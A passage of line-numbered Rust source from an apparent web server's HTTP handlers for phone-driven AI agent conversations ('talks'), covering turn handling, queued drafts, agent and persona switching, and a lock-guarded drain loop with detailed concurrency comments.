6150/// tree per entry of `turns`, in order - parsed server-side so `app.js` never
6151/// parses markdown itself - and the process-local `thinking` hint.
6152#[derive(Debug, Serialize)]
6153struct TalkView {
6154    #[serde(flatten)]
6155    talk: Talk,
6156    turn_bodies_md: Vec<Vec<md::Node>>,
6157    /// Whether [`Ui::begin_talk_turn`] currently holds this talk's turn in
6158    /// this server process.
6159    ///
6160    /// This is deliberately not durable: another server process cannot see
6161    /// it, and a restarted server must not claim an old turn is live. It is a
6162    /// progress hint rather than proof a reply landed; the transcript remains
6163    /// the source of truth for that.
6164    thinking: bool,
6165    /// Context-window usage, derived per request - see
6166    /// [`talk::context_usage`]. Carried on every talk response (list, detail
6167    /// and each mutation) so the phone needs no extra call or polling.
6168    context: talk::ContextUsage,
6169    /// `[talk] operator_name`, when configured; the Chat labels the
6170    /// operator's turns with it.
6171    operator_name: Option<String>,
6172    /// The active persona's display name; `None` for the default voice.
6173    persona_name: Option<String>,
6174}
6175
6176impl TalkView {
6177    /// Reads the talk's repository config itself; a config that cannot be
6178    /// read leaves the window unknown but never fails the conversation.
6179    fn new(talk: Talk, thinking: bool) -> Self {
6180        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6181        Self::with_config(talk, thinking, cfg.as_ref())
6182    }
6183
6184    /// As [`Self::new`], with the config already in hand (the list reads one
6185    /// per repository, not one per conversation).
6186    fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
6187        let context = talk::context_usage(&talk, cfg);
6188        let turn_bodies_md = talk
6189            .turns
6190            .iter()
6191            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6192            .collect();
6193        let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6194        let persona_name = persona::find(specs, &talk.persona)
6195            .filter(|p| !p.is_default())
6196            .map(|p| p.name);
6197        let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6198        Self {
6199            turn_bodies_md,
6200            thinking,
6201            context,
6202            operator_name,
6203            persona_name,
6204            talk,
6205        }
6206    }
6207}
6208
6209/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
6210/// conversation has filed, so the phone can follow one from inside the
6211/// conversation that asked for it rather than hunting the Queue for a task id
6212/// it may not remember.
6213#[derive(Debug, Serialize)]
6214struct TalkDetailView {
6215    #[serde(flatten)]
6216    view: TalkView,
6217    tasks: Vec<TaskView>,
6218    /// The agents this talk's repository can switch to; empty when its
6219    /// configuration cannot be read, which must not fail the whole detail.
6220    roster: Vec<RosterEntry>,
6221    /// The personas the conversation can pick from. The built-ins are always
6222    /// listed, even when the repository's configuration cannot be read.
6223    personas: Vec<PersonaEntry>,
6224}
6225
6226/// One persona as the talk's persona selector shows it.
6227#[derive(Debug, Serialize)]
6228struct PersonaEntry {
6229    id: String,
6230    name: String,
6231}
6232
6233/// One roster agent as the talk's agent selector shows it.
6234#[derive(Debug, Serialize)]
6235struct RosterEntry {
6236    id: String,
6237    kind: AgentKind,
6238    /// Whether its CLI is on `PATH`, i.e. whether choosing it can work.
6239    runnable: bool,
6240}
6241
6242/// `GET /api/talks`.
6243///
6244/// Every conversation, open ones first and newest first - [`Talks::list`]'s
6245/// own order.
6246async fn talks_list(
6247    State(ui): State<Arc<Ui>>,
6248    Query(q): Query<ListQuery>,
6249) -> ApiResult<Json<Vec<TalkView>>> {
6250    blocking(move || {
6251        let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6252        Ok(Json(
6253            ui.talks
6254                .list()
6255                .into_iter()
6256                .filter(|talk| q.contains(&talk.id))
6257                .map(|talk| {
6258                    let thinking = ui.is_thinking(&talk.id);
6259                    let cfg = configs
6260                        .entry(talk.repo.clone())
6261                        .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6262                    TalkView::with_config(talk, thinking, cfg.as_ref())
6263                })
6264                .collect(),
6265        ))
6266    })
6267    .await
6268}
6269
6270/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
6271/// message. `repo` defaults to the server's own; `agent` to `[roles] chatter`,
6272/// [`talk::begin`]'s own default. Unknown fields are ignored so a newer front
6273/// end still opens a talk against an older binary.
6274#[derive(Debug, Default, Deserialize)]
6275#[serde(default)]
6276struct NewTalk {
6277    agent: Option<String>,
6278    repo: Option<PathBuf>,
6279}
6280
6281/// `POST /api/talks` - open a conversation. Takes no agent turn: see
6282/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
6283async fn talk_post(
6284    State(ui): State<Arc<Ui>>,
6285    body: std::result::Result<Json<NewTalk>, JsonRejection>,
6286) -> ApiResult<impl IntoResponse> {
6287    // An absent body, or an empty one, is the normal way to open a talk - see
6288    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
6289    // rather than refused.
6290    let body = match body {
6291        Ok(Json(body)) => body,
6292        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6293        Err(e) => return Err(ApiError::bad_request(e.body_text())),
6294    };
6295    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6296    let cfg = config_for(&repo).await?;
6297    let view = blocking(move || {
6298        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6299        let thinking = ui.is_thinking(&talk.id);
6300        Ok(TalkView::new(talk, thinking))
6301    })
6302    .await?;
6303    Ok((StatusCode::CREATED, Json(view)))
6304}
6305
6306/// `GET /api/talks/{id}`.
6307async fn talk_detail(
6308    State(ui): State<Arc<Ui>>,
6309    Path(id): Path<String>,
6310) -> ApiResult<Json<TalkDetailView>> {
6311    blocking(move || {
6312        let id = resolve_talk(&ui.talks, &id)?;
6313        let talk = ui.talks.get(&id)?;
6314        let thinking = ui.is_thinking(&talk.id);
6315        let tasks = talk::tasks_of(&ui.queue, &talk.id)
6316            .into_iter()
6317            .map(TaskView::from)
6318            .collect();
6319        let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6320        let roster = cfg
6321            .as_ref()
6322            .map(|cfg| {
6323                cfg.agents
6324                    .iter()
6325                    .map(|a| RosterEntry {
6326                        id: a.id.clone(),
6327                        kind: a.kind,
6328                        runnable: agent::installed(a),
6329                    })
6330                    .collect()
6331            })
6332            .unwrap_or_default();
6333        let specs = cfg
6334            .as_ref()
6335            .map(|cfg| cfg.talk.personas.clone())
6336            .unwrap_or_default();
6337        let personas = persona::catalog(&specs)
6338            .into_iter()
6339            .map(|p| PersonaEntry {
6340                id: p.id,
6341                name: p.name,
6342            })
6343            .collect();
6344        Ok(Json(TalkDetailView {
6345            view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6346            tasks,
6347            roster,
6348            personas,
6349        }))
6350    })
6351    .await
6352}
6353
6354/// The body of `POST /api/talks/{id}/say`.
6355///
6356/// `attachments` names ids `POST /api/talks/{id}/attachments` already
6357/// returned - never bytes of its own - so a turn with no images just omits
6358/// the field, which is what an older front end still does.
6359#[derive(Debug, Default, Deserialize)]
6360#[serde(default, deny_unknown_fields)]
6361struct NewTalkTurn {
6362    text: String,
6363    attachments: Vec<String>,
6364}
6365
6366#[derive(Debug, Deserialize)]
6367#[serde(deny_unknown_fields)]
6368struct EditTalkPending {
6369    text: String,
6370    expected_text: String,
6371    expected_attachments: Vec<String>,
6372}
6373
6374#[derive(Debug, Deserialize)]
6375#[serde(deny_unknown_fields)]
6376struct ClearTalkPending {
6377    expected_text: String,
6378    expected_attachments: Vec<String>,
6379}
6380
6381/// `POST /api/talks/{id}/say` - one turn of the conversation.
6382///
6383/// Not filesystem work, and therefore not routed through [`blocking`]: this
6384/// route spawns an agent CLI and a turn here can run for the whole of
6385/// [`crate::config::Graph::timeout_talk`] - an hour by default - because a
6386/// research turn is expected to run commands rather than answer from what it
6387/// already knows. Holding an HTTP connection open that long is not a thing
6388/// to ask a phone to do; the operator's message is recorded and answered for
6389/// immediately, and the reply lands in the background, discovered through
6390/// the change stream's `talks_rev` the same way every other update on this
6391/// surface is.
6392async fn talk_say(
6393    State(ui): State<Arc<Ui>>,
6394    Path(id): Path<String>,
6395    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6396) -> ApiResult<(StatusCode, Json<TalkView>)> {
6397    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6398    if body.text.trim().is_empty() && body.attachments.is_empty() {
6399        return Err(ApiError::bad_request("say something"));
6400    }
6401
6402    let id = {
6403        let ui = Arc::clone(&ui);
6404        let asked = id.clone();
6405        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6406    };
6407    // A closed Talk never accepts a new immediate or queued turn. Check this
6408    // before claiming a slot so its ordinary domain refusal is a 409, not an
6409    // incidental failure from the later record/queue write.
6410    {
6411        let ui = Arc::clone(&ui);
6412        let id = id.clone();
6413        blocking(move || {
6414            let talk = ui.talks.get(&id)?;
6415            if !talk.status.open() {
6416                return Err(ApiError::conflict(format!(
6417                    "talk {} is {} and takes no more turns",
6418                    talk.short(),
6419                    talk.status.as_str()
6420                )));
6421            }
6422            Ok(())
6423        })
6424        .await?;
6425    }
6426
6427    // Every attachment id resolved to the metadata `talk::record`/`talk::queue`
6428    // actually stores, before anything is written - an unknown id is a 4xx
6429    // that names it rather than a turn (or a queued draft) silently missing
6430    // an image.
6431    let attachments = {
6432        let ui = Arc::clone(&ui);
6433        let id = id.clone();
6434        let ids = body.attachments.clone();
6435        blocking(move || {
6436            ids.into_iter()
6437                .map(|att_id| {
6438                    ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6439                        ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6440                    })
6441                })
6442                .collect::<ApiResult<Vec<talk::Attachment>>>()
6443        })
6444        .await?
6445    };
6446
6447    // Pending recovery and a new immediate turn are decided under the same
6448    // claim lock. Without that one critical section, a second `/say` can see
6449    // the first request's claim as "busy" and append itself to the recovered
6450    // draft before the first request rejects it.
6451    let start = {
6452        let ui = Arc::clone(&ui);
6453        let id = id.clone();
6454        blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6455    };
6456    let turn_guard = match start {
6457        TalkTurnStart::Claimed(turn_guard) => turn_guard,
6458        TalkTurnStart::Pending => {
6459            return Err(ApiError::conflict(
6460                "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6461            ));
6462        }
6463        TalkTurnStart::Foreign => {
6464            return Err(ApiError::conflict(
6465                "a turn is already running in another process; try again when it has finished",
6466            ));
6467        }
6468        TalkTurnStart::Busy => {
6469            // A turn is already running: queue rather than refuse. See
6470            // `Ui::begin_talk_turn` and `talk::queue`.
6471            //
6472            // The queue write and the drain it may owe live inside the task
6473            // `tokio::spawn` hands to the runtime, for the same reason the
6474            // immediate path below puts `record` there: a dropped handler
6475            // future must not be able to land between a durable write and
6476            // the task that answers it. `blocking` runs its closure on
6477            // `spawn_blocking`, which finishes whether or not anyone is left
6478            // to receive its result - so a disconnect at the `.await` below
6479            // would otherwise leave the draft persisted and the reclaimed
6480            // `TalkTurnGuard` dropped on the floor, with no `drain_loop`
6481            // ever started and the queued text stranded until some later
6482            // `say` happened to pick it up. The caller's 202 travels back
6483            // over a `oneshot`, sent the moment the write lands.
6484            let (tx, rx) = tokio::sync::oneshot::channel();
6485            tokio::spawn({
6486                let ui = Arc::clone(&ui);
6487                let id = id.clone();
6488                let said = body.text.clone();
6489                async move {
6490                    let written = blocking({
6491                        let ui = Arc::clone(&ui);
6492                        let id = id.clone();
6493                        move || {
6494                            let mut talk = ui.talks.get(&id)?;
6495                            // A test-only stop point, right before the write
6496                            // an interleaving test needs to pin - see
6497                            // `BusyQueueGate`. `None` in every real server:
6498                            // the field only exists under `#[cfg(test)]`.
6499                            #[cfg(test)]
6500                            if let Some(gate) = ui
6501                                .busy_queue_gate
6502                                .lock()
6503                                .unwrap_or_else(PoisonError::into_inner)
6504                                .take()
6505                            {
6506                                let _ = gate.reached.send(());
6507                                let _ = gate.release.recv();
6508                            }
6509                            if let Err(error) =
6510                                talk::queue(&mut talk, &ui.talks, &said, attachments)
6511                            {
6512                                if let Ok(fresh) = ui.talks.get(&id) {
6513                                    if !fresh.status.open() {
6514                                        return Err(ApiError::conflict(format!(
6515                                            "talk {} is {} and takes no more turns",
6516                                            fresh.short(),
6517                                            fresh.status.as_str()
6518                                        )));
6519                                    }
6520                                }
6521                                return Err(ApiError::from(error));
6522                            }
6523                            // The turn that looked busy a moment ago can have
6524                            // finished, found nothing to drain and given up the
6525                            // slot in the gap between that check and this write
6526                            // landing - see `drain_loop`'s own doc for the other
6527                            // half of why that gap would otherwise be able to
6528                            // open at all. Reclaiming the slot here, rather than
6529                            // trusting that whoever held it is still watching, is
6530                            // what stops the text just queued from being stranded
6531                            // until an unrelated future `say` happens to drain
6532                            // it.
6533                            let claim = match ui.begin_queued_talk_turn(&id)? {
6534                                Some(turn_guard) => {
6535                                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6536                                    Some((talk.clone(), cfg, turn_guard))
6537                                }
6538                                None => None,
6539                            };
6540                            let thinking = ui.is_thinking(&id);
6541                            Ok((TalkView::new(talk, thinking), claim))
6542                        }
6543                    })
6544                    .await;
6545                    let (view, reclaimed) = match written {
6546                        Ok(pair) => pair,
6547                        Err(e) => {
6548                            // Nobody is listening if the handler's own future
6549                            // was already dropped - that is fine, nothing was
6550                            // persisted and there is no response left to carry
6551                            // this error to.
6552                            let _ = tx.send(Err(e));
6553                            return;
6554                        }
6555                    };
6556                    // If this fails, the caller is gone; the drain below still
6557                    // runs exactly as it would have for a caller that stayed.
6558                    let _ = tx.send(Ok(view));
6559                    if let Some((talk, cfg, turn_guard)) = reclaimed {
6560                        let talks = ui.talks.clone();
6561                        drain_loop(talk, talks, cfg, id, turn_guard).await;
6562                    }
6563                }
6564            });
6565            let view = rx
6566                .await
6567                .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6568            return Ok((StatusCode::ACCEPTED, Json(view)));
6569        }
6570    };
6571
6572    let (talk, cfg) = {
6573        let ui = Arc::clone(&ui);
6574        let id = id.clone();
6575        blocking(move || {
6576            let talk = ui.talks.get(&id)?;
6577            let (cfg, _) = Config::discover(&talk.repo, None)?;
6578            Ok((talk, cfg))
6579        })
6580        .await?
6581    };
6582
6583    let talks = ui.talks.clone();
6584    // `record` runs *inside* the spawned task, rather than in this handler
6585    // followed by a separate `tokio::spawn` for `respond` - axum drops this
6586    // whole handler future outright on disconnect (see `TalkTurnGuard`'s
6587    // doc), and that drop can land at any `.await` this function makes,
6588    // including one that has already produced its result but not yet
6589    // resumed. A message could end up recorded on disk with the handler
6590    // future gone before it ever reached the `tokio::spawn` that would have
6591    // started the reply. `tokio::spawn` itself is a plain, synchronous call
6592    // that hands the whole future to the runtime as one unit - once made, no
6593    // later drop of *this* handler's own future (that call's return value is
6594    // never held onto here) can reach back in and stop it, so record and the
6595    // hand-off to `respond` are unconditionally atomic from the client's
6596    // point of view. The immediate response this handler owes the caller
6597    // travels back over a `oneshot`, sent the moment `record` succeeds.
6598    let (tx, rx) = tokio::sync::oneshot::channel();
6599    tokio::spawn({
6600        let ui = Arc::clone(&ui);
6601        let talks = talks.clone();
6602        let id = id.clone();
6603        let said = body.text.clone();
6604        let mut talk = talk.clone();
6605        async move {
6606            let recorded = blocking({
6607                let talks = talks.clone();
6608                move || {
6609                    if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6610                        if let Ok(fresh) = talks.get(&talk.id) {
6611                            if !fresh.status.open() {
6612                                return Err(ApiError::conflict(format!(
6613                                    "talk {} is {} and takes no more turns",
6614                                    fresh.short(),
6615                                    fresh.status.as_str()
6616                                )));
6617                            }
6618                        }
6619                        return Err(ApiError::from(error));
6620                    }
6621                    // `record` mutates `talk` in place to the freshly persisted
6622                    // state (status, pending, and the just-appended operator
6623                    // turn), so returning it here is equivalent to re-reading it
6624                    // from disk - without the extra round trip a re-read would
6625                    // need.
6626                    Ok((said.trim().to_owned(), talk))
6627                }
6628            })
6629            .await;
6630            let (text, mut talk) = match recorded {
6631                Ok(pair) => pair,
6632                Err(e) => {
6633                    // Nobody is listening if the handler's own future was
6634                    // already dropped - that is fine, there is no response
6635                    // left to carry this error to and nothing was persisted.
6636                    let _ = tx.send(Err(e));
6637                    return;
6638                }
6639            };
6640            let queued = talk.clone();
6641            let thinking = ui.is_thinking(&id);
6642            // If this fails, the caller is gone; the turn still runs below
6643            // exactly as it would have for a caller that stayed connected.
6644            let _ = tx.send(Ok((queued, thinking)));
6645
6646            if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6647                // `respond` records the failure in the transcript itself,
6648                // which is what the phone reads; this line is for the
6649                // operator's terminal.
6650                tracing::warn!("talk {id} turn failed: {e:#}");
6651            }
6652            // Anything `talk::queue` added while the turn above was running
6653            // is still owed an answer - see `drain_loop`.
6654            drain_loop(talk, talks, cfg, id, turn_guard).await;
6655        }
6656    });
6657
6658    let (queued, thinking) = rx
6659        .await
6660        .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6661
6662    // 202: the operator's message is recorded and a turn is running.
6663    Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6664}
6665
6666/// `POST /api/talks/{id}/pending/resume` promotes a persisted draft without
6667/// changing it. The turn guard is the same per-talk ownership `talk_say`
6668/// holds, so duplicate recovery clicks cannot resume the CLI session twice.
6669async fn talk_pending_resume(
6670    State(ui): State<Arc<Ui>>,
6671    Path(id): Path<String>,
6672) -> ApiResult<(StatusCode, Json<TalkView>)> {
6673    let id = {
6674        let ui = Arc::clone(&ui);
6675        let asked = id.clone();
6676        blocking(move || resolve_talk(&ui.talks, &asked)).await?
6677    };
6678    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6679        return Err(ApiError::conflict(
6680            "a talk turn is already running; the queued draft will be handled by it",
6681        ));
6682    };
6683    let (talk, cfg) = {
6684        let ui = Arc::clone(&ui);
6685        let id = id.clone();
6686        blocking(move || {
6687            let talk = ui.talks.get(&id)?;
6688            if !talk.status.open() {
6689                return Err(ApiError::conflict(format!(
6690                    "talk {} is {} and takes no more turns",
6691                    talk.short(),
6692                    talk.status.as_str()
6693                )));
6694            }
6695            if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6696                return Err(ApiError::conflict("there is no queued draft to resume"));
6697            }
6698            let (cfg, _) = Config::discover(&talk.repo, None)?;
6699            Ok((talk, cfg))
6700        })
6701        .await?
6702    };
6703    let view = TalkView::new(talk.clone(), true);
6704    let talks = ui.talks.clone();
6705    tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6706    Ok((StatusCode::ACCEPTED, Json(view)))
6707}
6708
6709/// Drain [`talk::Talk::pending`] one turn at a time until nothing is left,
6710/// releasing `turn` only once a check finds it truly empty. Shared by both
6711/// callers that can end up owning a talk's turn slot with something already
6712/// queued for it: `talk_say`'s normal path, after its own `talk::respond`
6713/// call, and `talk_say`'s busy path, when it reclaims a slot the previous
6714/// holder just gave up - see the comment at that call site.
6715///
6716/// The release is folded into the final generation check under `turn`'s own
6717/// lock - the same lock [`Ui::begin_talk_turn`] takes to decide "busy or
6718/// free". Before its blocking `talk::drain`, this loop observes the queued
6719/// generation. A `say` that sees the turn busy writes its draft, then advances
6720/// that generation. Thus, if it lands while the drain is in flight, the final
6721/// check observes the advance and drains again; otherwise it releases the
6722/// claim while holding the same lock. This keeps the release/arrival handoff
6723/// atomic without holding the global claim mutex across filesystem I/O.
6724async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6725    let live_set = Arc::clone(&turn.turns);
6726    // `Option` rather than binding `turn` directly to a `_turn` that lives
6727    // for the whole function: releasing it has to happen by calling
6728    // `TalkTurnGuard::release` from inside the locked branch below, which
6729    // takes `self` by value. Left as a plain drop instead, `Drop` would still
6730    // remove the id - correctly, if this loop is ever left some other way -
6731    // but doing it there misses the lock this loop is already holding, which
6732    // is the exact gap `release` exists to close.
6733    let mut turn = Some(turn);
6734    loop {
6735        if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6736            // The lease was taken over while a turn ran. Whatever is queued
6737            // stays a draft; running it here would race the new owner.
6738            tracing::warn!("talk {id} lost its turn lease; not draining further");
6739            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6740            if let Some(turn) = turn.take() {
6741                turn.release(&mut live);
6742            }
6743            break;
6744        }
6745        {
6746            // A parking upgrade starts no further turn: whatever is queued
6747            // stays a durable draft for the successor.
6748            let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6749            if live.parking {
6750                if let Some(turn) = turn.take() {
6751                    turn.release(&mut live);
6752                }
6753                break;
6754            }
6755        }
6756        // `talk::drain` takes the store lock and can write/rename the talk
6757        // file. Keep the turn mutex out of that synchronous work: it protects
6758        // every talk's in-memory claim, not this talk's disk operation.
6759        let observed = live_set
6760            .lock()
6761            .unwrap_or_else(PoisonError::into_inner)
6762            .queued
6763            .get(&id)
6764            .copied()
6765            .unwrap_or(0);
6766        let drained = blocking({
6767            let talks = talks.clone();
6768            let live_set = Arc::clone(&live_set);
6769            move || {
6770                // Promoting a draft is what starts a turn, so it is decided
6771                // under the same lock a parking upgrade takes: either the
6772                // promotion lands first (and its turn is waited for) or the
6773                // draft stays queued.
6774                let live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6775                let result = if live.parking {
6776                    Ok(None)
6777                } else {
6778                    talk::drain(&mut talk, &talks)
6779                };
6780                drop(live);
6781                Ok((talk, result))
6782            }
6783        })
6784        .await;
6785        let (next_talk, result) = match drained {
6786            Ok(drained) => drained,
6787            Err(e) => {
6788                tracing::warn!(
6789                    status = %e.status,
6790                    message = %e.message,
6791                    "talk {id} could not start queued-text drain"
6792                );
6793                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6794                turn.take()
6795                    .expect("held for the whole loop until released here")
6796                    .release(&mut live);
6797                break;
6798            }
6799        };
6800        talk = next_talk;
6801        let drained = match result {
6802            Ok(Some(drained)) => drained,
6803            Ok(None) => {
6804                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6805                if live.queued.get(&id).copied().unwrap_or(0) != observed {
6806                    continue;
6807                }
6808                turn.take()
6809                    .expect("held for the whole loop until released here")
6810                    .release(&mut live);
6811                break;
6812            }
6813            Err(e) => {
6814                tracing::warn!("talk {id} could not drain queued text: {e:#}");
6815                let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6816                turn.take()
6817                    .expect("held for the whole loop until released here")
6818                    .release(&mut live);
6819                break;
6820            }
6821        };
6822        let responded = match turn.as_ref() {
6823            Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6824            None => Err(anyhow::anyhow!("the turn guard was released")),
6825        };
6826        if let Err(e) = responded {
6827            tracing::warn!("talk {id} turn failed: {e:#}");
6828        }
6829    }
6830}
6831
6832/// Clear a queued draft only if it remains exactly the one the caller saw.
6833async fn talk_pending_clear(
6834    State(ui): State<Arc<Ui>>,
6835    Path(id): Path<String>,
6836    body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6837) -> ApiResult<Json<TalkView>> {
6838    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6839    blocking(move || {
6840        let id = resolve_talk(&ui.talks, &id)?;
6841        let mut talk = ui.talks.get(&id)?;
6842        if !talk.status.open() {
6843            return Err(ApiError::conflict(format!(
6844                "talk {} is {} and takes no more turns",
6845                talk.short(),
6846                talk.status.as_str()
6847            )));
6848        }
6849        if !talk::clear_pending_if_matches(
6850            &mut talk,
6851            &ui.talks,
6852            &body.expected_text,
6853            &body.expected_attachments,
6854        )? {
6855            return Err(ApiError::conflict(
6856                "queued message changed; reload it before clearing",
6857            ));
6858        }
6859        let thinking = ui.is_thinking(&talk.id);
6860        Ok(Json(TalkView::new(talk, thinking)))
6861    })
6862    .await
6863}
6864
6865/// Atomically edit a queued draft's text while preserving its attachments.
6866/// The snapshot fields make a concurrent queue or drain a conflict rather
6867/// than silently discarding either message.
6868async fn talk_pending_edit(
6869    State(ui): State<Arc<Ui>>,
6870    Path(id): Path<String>,
6871    body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6872) -> ApiResult<Json<TalkView>> {
6873    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6874    let (view, reclaimed) = blocking({
6875        let ui = Arc::clone(&ui);
6876        move || {
6877            let id = resolve_talk(&ui.talks, &id)?;
6878            let mut talk = ui.talks.get(&id)?;
6879            if !talk.status.open() {
6880                return Err(ApiError::conflict(format!(
6881                    "talk {} is {} and takes no more turns",
6882                    talk.short(),
6883                    talk.status.as_str()
6884                )));
6885            }
6886            if !talk::edit_pending_text(
6887                &mut talk,
6888                &ui.talks,
6889                &body.text,
6890                &body.expected_text,
6891                &body.expected_attachments,
6892            )? {
6893                return Err(ApiError::conflict(
6894                    "queued message changed; reload it before editing",
6895                ));
6896            }
6897            let claim = match ui.begin_queued_talk_turn(&id)? {
6898                Some(turn_guard) => {
6899                    let (cfg, _) = Config::discover(&talk.repo, None)?;
6900                    Some((talk.clone(), cfg, id.clone(), turn_guard))
6901                }
6902                None => None,
6903            };
6904            let thinking = ui.is_thinking(&id);
6905            Ok((TalkView::new(talk, thinking), claim))
6906        }
6907    })
6908    .await?;
6909    if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6910        let talks = ui.talks.clone();
6911        tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6912    }
6913    Ok(Json(view))
6914}
6915
6916/// The body of `POST /api/talks/{id}/agent`.
6917#[derive(Debug, Deserialize)]
6918struct TalkAgent {
6919    agent: String,
6920}
6921
6922/// `POST /api/talks/{id}/agent` - hand the conversation to another roster
6923/// agent. Holds the talk's turn guard for the whole switch so a `/say` cannot
6924/// start a turn on the old session between the check and the write; one that
6925/// arrives in that window finds the talk busy and becomes a draft.
6926async fn talk_agent(
6927    State(ui): State<Arc<Ui>>,
6928    Path(id): Path<String>,
6929    Json(body): Json<TalkAgent>,
6930) -> ApiResult<Json<TalkView>> {
6931    let id = {
6932        let ui = Arc::clone(&ui);
6933        blocking(move || resolve_talk(&ui.talks, &id)).await?
6934    };
6935    let repo = {
6936        let ui = Arc::clone(&ui);
6937        let id = id.clone();
6938        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6939    };
6940    let cfg = config_for(&repo).await?;
6941    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6942        return Err(ApiError::conflict(
6943            "a talk turn is running; change the agent once it has answered",
6944        ));
6945    };
6946    let switched = {
6947        let ui = Arc::clone(&ui);
6948        let id = id.clone();
6949        let cfg = cfg.clone();
6950        blocking(move || {
6951            let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6952                .map_err(ApiError::bad_request_from)?;
6953            let mut talk = ui.talks.get(&id)?;
6954            if !talk.status.open() {
6955                return Err(ApiError::conflict(format!(
6956                    "talk {} is {} and takes no more turns",
6957                    talk.short(),
6958                    talk.status.as_str()
6959                )));
6960            }
6961            talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6962            Ok(talk)
6963        })
6964        .await
6965    };
6966    // A `/say` that landed while this held the claim saw the talk busy and
6967    // left a durable draft, trusting the claim's owner to drain it. So the
6968    // claim goes to `drain_loop` whatever the outcome - it releases at once
6969    // when nothing is queued - rather than being dropped here.
6970    let fresh = {
6971        let ui = Arc::clone(&ui);
6972        let id = id.clone();
6973        blocking(move || Ok(ui.talks.get(&id)?)).await
6974    };
6975    let draining = match fresh {
6976        Ok(talk) => {
6977            let draining = talk.status.open()
6978                && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6979            let talks = ui.talks.clone();
6980            tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6981            draining
6982        }
6983        Err(_) => false,
6984    };
6985    let talk = switched?;
6986    Ok(Json(TalkView::new(talk, draining)))
6987}
6988
6989/// The body of `POST /api/talks/{id}/persona`.
6990#[derive(Debug, Deserialize)]
6991struct TalkPersona {
6992    persona: String,
6993}
6994
6995/// `POST /api/talks/{id}/persona` - choose the conversation's tone. Shaped
6996/// like [`talk_agent`]: the turn guard is held for the change and always handed
6997/// to `drain_loop`, so a draft left meanwhile is not stranded.
6998async fn talk_persona(
6999    State(ui): State<Arc<Ui>>,
7000    Path(id): Path<String>,
7001    Json(body): Json<TalkPersona>,
7002) -> ApiResult<Json<TalkView>> {
7003    let id = {
7004        let ui = Arc::clone(&ui);
7005        blocking(move || resolve_talk(&ui.talks, &id)).await?
7006    };
7007    let repo = {
7008        let ui = Arc::clone(&ui);
7009        let id = id.clone();
7010        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7011    };
7012    let cfg = config_for(&repo).await?;
7013    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7014        return Err(ApiError::conflict(
7015            "a talk turn is running; change the persona once it has answered",
7016        ));
7017    };
7018    let switched = {
7019        let ui = Arc::clone(&ui);
7020        let id = id.clone();
7021        let cfg = cfg.clone();
7022        blocking(move || {
7023            let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
7024                return Err(ApiError::bad_request(format!(
7025                    "unknown persona `{}`",
7026                    body.persona
7027                )));
7028            };
7029            let mut talk = ui.talks.get(&id)?;
7030            if !talk.status.open() {
7031                return Err(ApiError::conflict(format!(
7032                    "talk {} is {} and takes no more turns",
7033                    talk.short(),
7034                    talk.status.as_str()
7035                )));
7036            }
7037            talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
7038            Ok(talk)
7039        })
7040        .await
7041    };
7042    // As in `talk_agent`: the claim goes to `drain_loop` whatever happened.
7043    let fresh = {
7044        let ui = Arc::clone(&ui);
7045        let id = id.clone();
7046        blocking(move || Ok(ui.talks.get(&id)?)).await
